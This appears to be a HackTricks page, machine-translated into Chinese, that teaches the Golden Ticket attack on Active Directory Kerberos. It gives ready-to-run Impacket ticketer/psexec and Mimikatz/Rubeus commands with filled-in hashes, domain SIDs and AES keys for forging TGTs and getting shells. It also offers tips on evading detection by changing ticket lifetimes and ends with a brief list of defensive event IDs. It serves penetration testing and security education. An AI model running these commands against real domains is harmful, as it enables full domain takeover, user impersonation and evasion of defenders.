Golden Ticket

Support HackTricks

Golden ticket

Golden Ticket 攻击是指通过使用 Active Directory (AD) krbtgt 账户的 NTLM 哈希创建一个合法的票据授权票据 (TGT),冒充任何用户。这种技术特别有利,因为它 使冒充的用户能够访问域内的任何服务或机器。重要的是要记住,krbtgt 账户的凭据从不自动更新

获取 krbtgt 账户的 NTLM 哈希,可以采用多种方法。它可以从 本地安全授权子系统服务 (LSASS) 进程 或位于域内任何域控制器 (DC) 上的 NT 目录服务 (NTDS.dit) 文件 中提取。此外,执行 DCsync 攻击 是获取此 NTLM 哈希的另一种策略,可以使用 Mimikatz 中的 lsadump::dcsync 模块 或 Impacket 的 secretsdump.py 脚本 来执行。需要强调的是,进行这些操作通常需要 域管理员权限或类似级别的访问权限

尽管 NTLM 哈希作为此目的的有效方法,但 强烈建议 为了操作安全的原因,使用高级加密标准 (AES) Kerberos 密钥 (AES128 和 AES256) 来伪造票据

From Linux
python ticketer.py -nthash 25b2076cda3bfd6209161a6c78a69c1c -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain jurassic.park stegosaurus
export KRB5CCNAME=/root/impacket-examples/stegosaurus.ccache
python psexec.py jurassic.park/stegosaurus@lab-wdc02.jurassic.park -k -no-pass
来自Windows
#mimikatz
kerberos::golden /User:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt
.\Rubeus.exe ptt /ticket:ticket.kirbi
klist #List tickets in memory

# Example using aes key
kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /aes256:430b2fdb13cc820d73ecf123dddd4c9d76425d4c2156b89ac551efb9d591a439 /ticket:golden.kirbi

一旦你注入了金票,你可以访问共享文件**(C$),并执行服务和WMI,因此你可以使用psexecwmiexec**来获取一个shell(看起来你无法通过winrm获取shell)。

绕过常见检测

检测金票的最常见方法是检查网络上的Kerberos流量。默认情况下,Mimikatz将TGT签名为10年,这将在后续使用它的TGS请求中显得异常。

Lifetime : 3/11/2021 12:39:57 PM ; 3/9/2031 12:39:57 PM ; 3/9/2031 12:39:57 PM

使用/startoffset/endin/renewmax参数来控制开始偏移、持续时间和最大续订(均以分钟为单位)。

Get-DomainPolicy | select -expand KerberosPolicy

不幸的是,TGT的生命周期没有记录在4769中,因此您无法在Windows事件日志中找到此信息。然而,您可以关联的是看到4769而没有先前的4768没有TGT就无法请求TGS,如果没有TGT被发出的记录,我们可以推断它是离线伪造的。

为了绕过此检测,请检查diamond tickets:

Diamond Ticket

缓解措施

  • 4624: 账户登录

  • 4672: 管理员登录

  • Get-WinEvent -FilterHashtable @{Logname='Security';ID=4672} -MaxEvents 1 | Format-List –Property

防御者可以做的其他小技巧是对敏感用户的4769进行警报,例如默认域管理员账户。

参考文献

支持HackTricks

Last updated